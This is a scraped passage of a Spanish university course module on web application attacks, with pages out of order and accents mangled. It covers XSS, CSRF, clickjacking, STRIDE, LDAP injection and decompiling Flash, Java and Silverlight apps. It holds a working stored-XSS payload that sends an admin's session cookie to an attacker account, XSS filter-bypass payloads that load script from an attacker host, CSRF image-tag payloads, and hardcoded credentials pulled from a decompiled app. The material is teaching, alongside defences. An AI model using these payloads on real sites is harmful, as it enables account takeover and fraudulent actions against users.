CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 15: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

